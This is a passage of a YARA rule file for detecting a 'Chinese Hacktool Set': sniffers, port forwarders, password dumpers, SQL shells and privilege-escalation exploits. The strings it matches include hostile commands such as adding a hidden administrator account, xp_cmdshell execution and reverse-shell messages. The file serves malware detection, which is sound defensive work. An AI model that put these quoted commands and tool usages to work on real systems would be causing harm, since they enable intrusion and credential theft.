		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "41d57d356098ff55fe0e1f0bcaa9317df5a2a45c"
		id = "f4427aab-50c3-5bb9-997a-75e162a83f8a"

	strings:
		$s1 = "fpipe -l 53 -s 53 -r 80 192.168.1.101" fullword ascii
		$s2 = "FPipe.exe" fullword wide
		$s3 = "http://www.foundstone.com" fullword ascii
		$s4 = "%s %s port %d. Address is already in use" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 65KB and all of them
}

rule Dos_netstat
{
	meta:
		description = "Chinese Hacktool Set - file netstat.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "d0444b7bd936b5fc490b865a604e97c22d97e598"
		id = "bc3141bf-4e82-5aa4-a8a6-a0a4586ee9a1"

	strings:
		$s0 = "w03a2409.dll" fullword ascii
		$s1 = "Retransmission Timeout Algorithm    = unknown (%1!u!)" fullword wide
		$s2 = "Administrative Status  = %1!u!" fullword wide
		$s3 = "Packet Too Big            %1!-10u!  %2!-10u!" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 150KB and all of them
}

rule CN_Tools_xsniff
{
	meta:
		description = "Chinese Hacktool Set - file xsniff.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "d61d7329ac74f66245a92c4505a327c85875c577"
		id = "a0fdac88-a7b8-5d24-9012-2bfe7b07e675"

	strings:
		$s0 = "xsiff.exe -pass -hide -log pass.log" fullword ascii
		$s1 = "HOST: %s USER: %s, PASS: %s" fullword ascii
		$s2 = "xsiff.exe -tcp -udp -asc -addr 192.168.1.1" fullword ascii
		$s10 = "Code by glacier <glacier@xfocus.org>" fullword ascii
		$s11 = "%-5s%s->%s Bytes=%d TTL=%d Type: %d,%d ID=%d SEQ=%d" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 220KB and 2 of them
}

rule MSSqlPass
{
	meta:
		description = "Chinese Hacktool Set - file MSSqlPass.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "172b4e31ed15d1275ac07f3acbf499daf9a055d7"
		id = "d45b417f-3649-5603-bd19-8b8bcc19dabc"

	strings:
		$s0 = "Reveals the passwords stored in the Registry by Enterprise Manager of SQL Server" wide
		$s1 = "empv.exe" fullword wide
		$s2 = "Enterprise Manager PassView" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 120KB and all of them
}

rule WSockExpert
{
	meta:
		description = "Chinese Hacktool Set - file WSockExpert.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "2962bf7b0883ceda5e14b8dad86742f95b50f7bf"
		id = "0ae115be-c516-5f4a-97ce-555d84f42947"

	strings:
		$s1 = "OpenProcessCmdExecute!" fullword ascii
		$s2 = "http://www.hackp.com" fullword ascii
		$s3 = "'%s' is not a valid time!'%s' is not a valid date and time" fullword wide
		$s4 = "SaveSelectedFilterCmdExecute" fullword ascii
		$s5 = "PasswordChar@" fullword ascii
		$s6 = "WSockHook.DLL" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 2500KB and 4 of them
}

rule Ms_Viru_racle
{
	meta:
		description = "Chinese Hacktool Set - file racle.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "13116078fff5c87b56179c5438f008caf6c98ecb"
		id = "bdc78dcc-79e6-5516-bba2-54bf537eae38"

	strings:
		$s0 = "PsInitialSystemProcess @%p" fullword ascii
		$s1 = "PsLookupProcessByProcessId(%u) Failed" fullword ascii
		$s2 = "PsLookupProcessByProcessId(%u) => %p" fullword ascii
		$s3 = "FirstStage() Loaded, CurrentThread @%p Stack %p - %p" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 210KB and all of them
}

rule lamescan3
{
	meta:
		description = "Chinese Hacktool Set - file lamescan3.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "3130eefb79650dab2e323328b905e4d5d3a1d2f0"
		id = "8ff1a0e6-d054-589d-a038-f889951ba250"

	strings:
		$s1 = "dic\\loginlist.txt" fullword ascii
		$s2 = "Radmin.exe" fullword ascii
		$s3 = "lamescan3.pdf!" fullword ascii
		$s4 = "dic\\passlist.txt" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 3740KB and all of them
}

rule CN_Tools_pc
{
	meta:
		description = "Chinese Hacktool Set - file pc.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "5cf8caba170ec461c44394f4058669d225a94285"
		id = "11cc6c46-33c0-5c53-88f8-700be9ca8add"

	strings:
		$s0 = "\\svchost.exe" ascii
		$s2 = "%s%08x.001" fullword ascii
		$s3 = "Qy001Service" fullword ascii
		$s4 = "/.MIKY" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them
}

rule Dos_Down64
{
	meta:
		description = "Chinese Hacktool Set - file Down64.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "43e455e43b49b953e17a5b885ffdcdf8b6b23226"
		id = "b4907ede-dc6a-5b8c-bf1c-557df54191a4"

	strings:
		$s1 = "C:\\Windows\\Temp\\Down.txt" fullword wide
		$s2 = "C:\\Windows\\Temp\\Cmd.txt" fullword wide
		$s3 = "C:\\Windows\\Temp\\" wide
		$s4 = "ProcessXElement" fullword ascii
		$s8 = "down.exe" fullword wide
		$s20 = "set_Timer1" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 150KB and all of them
}

rule epathobj_exp32
{
	meta:
		description = "Chinese Hacktool Set - file epathobj_exp32.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		modified = "2022-12-21"
		hash = "ed86ff44bddcfdd630ade8ced39b4559316195ba"
		id = "ca4639af-ee4f-5220-9595-e7a06b9a8534"

	strings:
		$s0 = "Watchdog thread %d waiting on Mutex" fullword ascii
		$s1 = "Exploit ok run command" fullword ascii
		$s2 = "\\epathobj_exp\\Release\\epathobj_exp.pdb" ascii
		$s3 = "Alllocated userspace PATHRECORD () %p" fullword ascii
		$s4 = "Mutex object did not timeout, list not patched" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 270KB and all of them
}

rule Tools_unknown
{
	meta:
		description = "Chinese Hacktool Set - file unknown.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "4be8270c4faa1827177e2310a00af2d5bcd2a59f"
		id = "2cb75a84-506d-5b67-8b1f-b91beb5a99a3"

	strings:
		$s1 = "No data to read.$Can not bind in port range (%d - %d)" fullword wide
		$s2 = "GET /ok.asp?id=1__sql__ HTTP/1.1" fullword ascii
		$s3 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" fullword ascii
		$s4 = "Failed to clear tab control Failed to delete tab at index %d\"Failed to retrieve" wide
		$s5 = "Host: 127.0.0.1" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 2500KB and 4 of them
}

rule PLUGIN_AJunk
{
	meta:
		description = "Chinese Hacktool Set - file AJunk.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "eb430fcfe6d13b14ff6baa4b3f59817c0facec00"
		id = "af92d01d-5e24-52f7-934a-0ad102fc7a93"

	strings:
		$s1 = "AJunk.dll" fullword ascii
		$s2 = "AJunk.DLL" fullword wide
		$s3 = "AJunk Dynamic Link Library" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 560KB and all of them
}

rule IISPutScanner
{
	meta:
		description = "Chinese Hacktool Set - file IISPutScanner.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "9869c70d6a9ec2312c749aa17d4da362fa6e2592"
		id = "699ee45d-c842-56eb-b55b-12a91e815a7b"

	strings:
		$s2 = "KERNEL32.DLL" fullword ascii
		$s3 = "ADVAPI32.DLL" fullword ascii
		$s4 = "VERSION.DLL" fullword ascii
		$s5 = "WSOCK32.DLL" fullword ascii
		$s6 = "COMCTL32.DLL" fullword ascii
		$s7 = "GDI32.DLL" fullword ascii
		$s8 = "SHELL32.DLL" fullword ascii
		$s9 = "USER32.DLL" fullword ascii
		$s10 = "OLEAUT32.DLL" fullword ascii
		$s11 = "LoadLibraryA" fullword ascii
		$s12 = "GetProcAddress" fullword ascii
		$s13 = "VirtualProtect" fullword ascii
		$s14 = "VirtualAlloc" fullword ascii
		$s15 = "VirtualFree" fullword ascii
		$s16 = "ExitProcess" fullword ascii
		$s17 = "RegCloseKey" fullword ascii
		$s18 = "GetFileVersionInfoA" fullword ascii
		$s19 = "ImageList_Add" fullword ascii
		$s20 = "BitBlt" fullword ascii
		$s21 = "ShellExecuteA" fullword ascii
		$s22 = "ActivateKeyboardLayout" fullword ascii
		$s23 = "BBABORT" fullword wide
		$s25 = "BBCANCEL" fullword wide
		$s26 = "BBCLOSE" fullword wide
		$s27 = "BBHELP" fullword wide
		$s28 = "BBIGNORE" fullword wide
		$s29 = "PREVIEWGLYPH" fullword wide
		$s30 = "DLGTEMPLATE" fullword wide
		$s31 = "TABOUTBOX" fullword wide
		$s32 = "TFORM1" fullword wide
		$s33 = "MAINICON" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 500KB and filesize > 350KB and all of them
}

rule IDTools_For_WinXP_IdtTool_2
{
	meta:
		description = "Chinese Hacktool Set - file IdtTool.sys"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "07feb31dd21d6f97614118b8a0adf231f8541a67"
		id = "0312be49-c262-5143-abfc-02d428552b86"

	strings:
		$s0 = "\\Device\\devIdtTool" wide
		$s1 = "IoDeleteSymbolicLink" fullword ascii
		$s3 = "IoDeleteDevice" fullword ascii
		$s6 = "IoCreateSymbolicLink" fullword ascii
		$s7 = "IoCreateDevice" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 7KB and all of them
}

rule hkmjjiis6
{
	meta:
		description = "Chinese Hacktool Set - file hkmjjiis6.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "4cbc6344c6712fa819683a4bd7b53f78ea4047d7"
		id = "9618c6ec-1557-5b1b-bebc-1c220bb3aba4"

	strings:
		$s1 = "comspec" fullword ascii
		$s2 = "user32.dlly" ascii
		$s3 = "runtime error" ascii
		$s4 = "WinSta0\\Defau" ascii
		$s5 = "AppIDFlags" fullword ascii
		$s6 = "GetLag" fullword ascii
		$s7 = "* FROM IIsWebInfo" ascii
		$s8 = "wmiprvse.exe" ascii
		$s9 = "LookupAcc" ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 70KB and all of them
}

rule Dos_lcx
{
	meta:
		description = "Chinese Hacktool Set - file lcx.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "b6ad5dd13592160d9f052bb47b0d6a87b80a406d"
		id = "2f443673-bfed-5ce3-a0e6-6b59f27c9658"

	strings:
		$s0 = "c:\\Users\\careful_snow\\" ascii
		$s1 = "Desktop\\Htran\\Release\\Htran.pdb" ascii
		$s3 = "[SERVER]connection to %s:%d error" fullword ascii
		$s4 = "-tran  <ConnectPort> <TransmitHost> <TransmitPort>" fullword ascii
		$s6 = "=========== Code by lion & bkbll, Welcome to [url]http://www.cnhonker.com[/url] " ascii
		$s7 = "[-] There is a error...Create a new connection." fullword ascii
		$s8 = "[+] Accept a Client on port %d from %s" fullword ascii
		$s11 = "-slave  <ConnectHost> <ConnectPort> <TransmitHost> <TransmitPort>" fullword ascii
		$s13 = "[+] Make a Connection to %s:%d...." fullword ascii
		$s16 = "-listen <ConnectPort> <TransmitPort>" fullword ascii
		$s17 = "[+] Waiting another Client on port:%d...." fullword ascii
		$s18 = "[+] Accept a Client on port %d from %s ......" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and 2 of them
}

rule x_way2_5_X_way
{
	meta:
		description = "Chinese Hacktool Set - file X-way.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "8ba8530fbda3e8342e8d4feabbf98c66a322dac6"
		id = "8e878671-2a7c-5c6e-a905-05d303f42e0f"

	strings:
		$s0 = "TTFTPSERVERFRM" fullword wide
		$s1 = "TPORTSCANSETFRM" fullword wide
		$s2 = "TIISSHELLFRM" fullword wide
		$s3 = "TADVSCANSETFRM" fullword wide
		$s4 = "ntwdblib.dll" fullword ascii
		$s5 = "TSNIFFERFRM" fullword wide
		$s6 = "TCRACKSETFRM" fullword wide
		$s7 = "TCRACKFRM" fullword wide
		$s8 = "dbnextrow" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1000KB and 5 of them
}

rule tools_Sqlcmd
{
	meta:
		description = "Chinese Hacktool Set - file Sqlcmd.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "99d56476e539750c599f76391d717c51c4955a33"
		id = "26e29826-d4bb-55d0-9331-a91e4473daca"

	strings:
		$s0 = "[Usage]:  %s <HostName|IP> <UserName> <Password>" fullword ascii
		$s1 = "=============By uhhuhy(Feb 18,2003) - http://www.cnhonker.net=============" fullword ascii
		$s4 = "Cool! Connected to SQL server on %s successfully!" fullword ascii
		$s5 = "EXEC master..xp_cmdshell \"%s\"" fullword ascii
		$s6 = "=======================Sqlcmd v0.21 For HScan v1.20=======================" fullword ascii
		$s10 = "Error,exit!" fullword ascii
		$s11 = "Sqlcmd>" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 40KB and 3 of them
}

rule Sword1_5
{
	meta:
		description = "Chinese Hacktool Set - file Sword1.5.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "96ee5c98e982aa8ed92cb4cedb85c7fda873740f"
		id = "dff8666a-0373-5605-9012-92b2b3ec71ea"

	strings:
		$s3 = "http://www.ip138.com/ip2city.asp" fullword wide
		$s4 = "http://www.md5decrypter.co.uk/feed/api.aspx?" fullword wide
		$s6 = "ListBox_Command" fullword wide
		$s13 = "md=7fef6171469e80d32c0559f88b377245&submit=MD5+Crack" fullword wide
		$s18 = "\\Set.ini" wide
		$s19 = "OpenFileDialog1" fullword wide
		$s20 = " (*.txt)|*.txt" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 400KB and 4 of them
}

rule Tools_scan
{
	meta:
		description = "Chinese Hacktool Set - file scan.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "c580a0cc41997e840d2c0f83962e7f8b636a5a13"
		id = "4601d4d0-2b7e-5937-87b6-df80ab373752"

	strings:
		$s2 = "Shanlu Studio" fullword wide
		$s3 = "_AutoAttackMain" fullword ascii
		$s4 = "_frmIpToAddr" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 3000KB and all of them
}

rule Dos_c
{
	meta:
		description = "Chinese Hacktool Set - file c.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "3deb6bd52fdac6d5a3e9a91c585d67820ab4df78"
		id = "2e8319de-fe54-5083-968c-4707d127f072"

	strings:
		$s0 = "!Win32 .EXE." fullword ascii
		$s1 = ".MPRESS1" fullword ascii
		$s2 = ".MPRESS2" fullword ascii
		$s3 = "XOLEHLP.dll" fullword ascii
		$s4 = "</body></html>" fullword ascii
		$s8 = "DtcGetTransactionManagerExA" fullword ascii
		$s9 = "GetUserNameA" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule arpsniffer
{
	meta:
		description = "Chinese Hacktool Set - file arpsniffer.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "7d8753f56fc48413fc68102cff34b6583cb0066c"
		id = "78db3b18-008a-5a4e-9504-0cbe3b852046"

	strings:
		$s1 = "SHELL" ascii
		$s2 = "PacketSendPacket" fullword ascii
		$s3 = "ArpSniff" ascii
		$s4 = "pcap_loop" fullword ascii
		$s5 = "packet.dll" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 120KB and all of them
}

rule pw_inspector_2
{
	meta:
		description = "Chinese Hacktool Set - file pw-inspector.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "e0a1117ee4a29bb4cf43e3a80fb9eaa63bb377bf"
		id = "795c7009-93a8-57c4-8554-f0ed5c1d50f8"

	strings:
		$s1 = "Use for hacking: trim your dictionary file to the pw requirements of the target." fullword ascii
		$s2 = "Syntax: %s [-i FILE] [-o FILE] [-m MINLEN] [-M MAXLEN] [-c MINSETS] -l -u -n -p " ascii
		$s3 = "PW-Inspector" fullword ascii
		$s4 = "i:o:m:M:c:lunps" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and 2 of them
}

rule datPcShare
{
	meta:
		description = "Chinese Hacktool Set - file datPcShare.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "87acb649ab0d33c62e27ea83241caa43144fc1c4"
		id = "1bf44c0d-6aa7-5486-baee-c17d3e82403f"

	strings:
		$s1 = "PcShare.EXE" fullword wide
		$s2 = "MZKERNEL32.DLL" fullword ascii
		$s3 = "PcShare" fullword wide
		$s4 = "QQ:4564405" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 500KB and all of them
}

rule Tools_xport
{
	meta:
		description = "Chinese Hacktool Set - file xport.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "9584de562e7f8185f721e94ee3cceac60db26dda"
		id = "3223fe5b-6135-5530-a5eb-10c44f3f6277"

	strings:
		$s1 = "Match operate system failed, 0x%00004X:%u:%d(Window:TTL:DF)" fullword ascii
		$s2 = "Example: xport www.xxx.com 80 -m syn" fullword ascii
		$s3 = "%s - command line port scanner" fullword ascii
		$s4 = "xport 192.168.1.1 1-1024 -t 200 -v" fullword ascii
		$s5 = "Usage: xport <Host> <Ports Scope> [Options]" fullword ascii
		$s6 = ".\\port.ini" fullword ascii
		$s7 = "Port scan complete, total %d port, %d port is opened, use %d ms." fullword ascii
		$s8 = "Code by glacier <glacier@xfocus.org>" fullword ascii
		$s9 = "http://www.xfocus.org" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and 2 of them
}

rule Pc_xai
{
	meta:
		description = "Chinese Hacktool Set - file xai.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "f285a59fd931ce137c08bd1f0dae858cc2486491"
		id = "dcf1b57b-3616-5198-bd57-18505fee91ae"

	strings:
		$s1 = "Powered by CoolDiyer @ C.Rufus Security Team 05/19/2008  http://www.xcodez.com/" fullword wide
		$s2 = "%SystemRoot%\\System32\\" ascii
		$s3 = "%APPDATA%\\" ascii
		$s4 = "---- C.Rufus Security Team ----" fullword wide
		$s5 = "www.snzzkz.com" fullword wide
		$s6 = "%CommonProgramFiles%\\" ascii
		$s7 = "GetRand.dll" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 3000KB and all of them
}

rule Radmin_Hash
{
	meta:
		description = "Chinese Hacktool Set - file Radmin_Hash.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "be407bd5bf5bcd51d38d1308e17a1731cd52f66b"
		id = "07761e81-15b4-5639-b766-8dc3f16e2b7a"

	strings:
		$s1 = "<description>IEBars</description>" fullword ascii
		$s2 = "PECompact2" fullword ascii
		$s3 = "Radmin, Remote Administrator" fullword wide
		$s4 = "Radmin 3.0 Hash " fullword wide
		$s5 = "HASH1.0" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 600KB and all of them
}

rule OSEditor
{
	meta:
		description = "Chinese Hacktool Set - file OSEditor.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "6773c3c6575cf9cfedbb772f3476bb999d09403d"
		id = "b308852c-3436-5748-9ba6-82d4c3c5fc14"

	strings:
		$s1 = "OSEditor.exe" fullword wide
		$s2 = "netsafe" wide
		$s3 = "OSC Editor" fullword wide
		$s4 = "GIF89" ascii
		$s5 = "Unlock" ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule GoodToolset_ms11011
{
	meta:
		description = "Chinese Hacktool Set - file ms11011.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "5ad7a4962acbb6b0e3b73d77385eb91feb88b386"
		id = "689b7ea3-6707-5f99-8232-438d903d414d"

	strings:
		$s0 = "\\i386\\Hello.pdb" ascii
		$s1 = "OS not supported." fullword ascii
		$s3 = "Not supported." fullword wide
		$s4 = "SystemDefaultEUDCFont" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule FreeVersion_release
{
	meta:
		description = "Chinese Hacktool Set - file release.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "f42e4b5748e92f7a450eb49fc89d6859f4afcebb"
		id = "1a603634-a00a-5f8b-a47d-c3c8065a5c3e"

	strings:
		$s1 = "-->Got WMI process Pid: %d " ascii
		$s2 = "This exploit will execute \"net user " ascii
		$s3 = "net user temp 123456 /add & net localgroup administrators temp /add" fullword ascii
		$s4 = "Running reverse shell" ascii
		$s5 = "wmiprvse.exe" fullword ascii
		$s6 = "SELECT * FROM IIsWebInfo" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and 3 of them
}

rule churrasco
{
	meta:
		description = "Chinese Hacktool Set - file churrasco.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "a8d4c177948a8e60d63de9d0ed948c50d0151364"
		id = "99cb5a7a-85c1-57f5-b5b6-f0b1092e1e06"

	strings:
		$s1 = "Done, command should have ran as SYSTEM!" ascii
		$s2 = "Running command with SYSTEM Token..." ascii
		$s3 = "Thread impersonating, got NETWORK SERVICE Token: 0x%x" ascii
		$s4 = "Found SYSTEM token 0x%x" ascii
		$s5 = "Thread not impersonating, looking for another thread..." ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 150KB and 2 of them
}

rule x64_KiwiCmd
{
	meta:
		description = "Chinese Hacktool Set - file KiwiCmd.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "569ca4ff1a5ea537aefac4a04a2c588c566c6d86"
		id = "df759fd4-5d42-5dd9-81d0-ceccafcdd64d"

	strings:
		$s1 = "Process Ok, Memory Ok, resuming process :)" fullword wide
		$s2 = "Kiwi Cmd no-gpo" fullword wide
		$s3 = "KiwiAndCMD" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 400KB and 2 of them
}

rule sql1433_SQL
{
	meta:
		description = "Chinese Hacktool Set - file SQL.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "025e87deadd1c50b1021c26cb67b76b476fafd64"
		id = "fb4c5958-2e4e-5231-b0db-eca6bc3d823a"

	strings:
		$s0 = { 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 4E 00 61 00 6D 00 65 00 00 00 00 00 31 00 34 00 33 00 33 }
		$s1 = { 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00 00 31 00 2C 00 34 00 2C 00 33 00 2C 00 33 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 90KB and all of them
}

rule CookieTools2
{
	meta:
		description = "Chinese Hacktool Set - file CookieTools2.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "cb67797f229fdb92360319e01277e1345305eb82"
		id = "f227ba4b-9cad-5aac-99ab-46a8237249d4"

	strings:
		$s1 = "www.gxgl.com&www.gxgl.net" fullword wide
		$s2 = "ip.asp?IP=" fullword ascii
		$s3 = "MSIE 5.5;" fullword ascii
		$s4 = "SOFTWARE\\Borland\\" ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 700KB and all of them
}

rule cyclotron
{
	meta:
		description = "Chinese Hacktool Set - file cyclotron.sys"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "5b63473b6dc1e5942bf07c52c31ba28f2702b246"
		id = "7099462b-2a72-56cd-8a50-27cd445eb9d2"

	strings:
		$s1 = "\\Device\\IDTProt" wide
		$s2 = "IoDeleteSymbolicLink" fullword ascii
		$s3 = "\\??\\slIDTProt" wide
		$s4 = "IoDeleteDevice" fullword ascii
		$s5 = "IoCreateSymbolicLink" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 3KB and all of them
}

rule xscan_gui
{
	meta:
		description = "Chinese Hacktool Set - file xscan_gui.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://tools.zjqhr.com/"
		date = "2015-06-13"
		hash = "a9e900510396192eb2ba4fb7b0ef786513f9b5ab"
		id = "fee11058-e75f-5d8f-8d10-06dcaed99df1"

	strings:
		$s1 = "%s -mutex %s -host %s -index %d -config \"%s\"" fullword ascii
		$s2 = "www.target.com" fullword ascii
		$s3 = "%s\\scripts\\desc\\%s.desc" fullword ascii
